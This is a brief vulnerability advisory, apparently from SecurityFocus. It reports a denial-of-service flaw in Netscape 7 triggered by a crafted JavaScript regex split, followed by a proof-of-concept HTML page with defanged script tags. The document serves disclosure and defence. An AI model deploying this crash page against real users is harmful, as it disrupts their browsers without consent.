source: https://www.securityfocus.com/bid/6959/info It has been reported that Netscape based browsers may be vulnerable to a denial of service condition when executing certain JavaScript methods. If a malicious page containing a specially crafted JavaScript regular expression method is viewed the browser reportedly becomes un-stable this may result in the critical failure of an affected browser. This vulnerability was reported for Netscape version 7. It is not known if previous versions are also affected. <html> <head> <title>test</title> <--script-- language="JavaScript"> function reformatDate(someDate) { var tokens = someDate.split(/(\/|-)/); if (tokens[1].length == 1) tokens[1] = "0" + tokens[1]; if (tokens[0].length == 1) tokens[0] = "0" + tokens[0]; var result = tokens[2] + tokens[1] + tokens[0]; alert(result); //return result; } </--script--> </head> <body> <form action="" method="GET" name="form1" onSubmit="return reformatDate(this.dt.value);"> MM/DD/YYYY - <input type=text name=dt> <input type=submit> </form> </body> </html>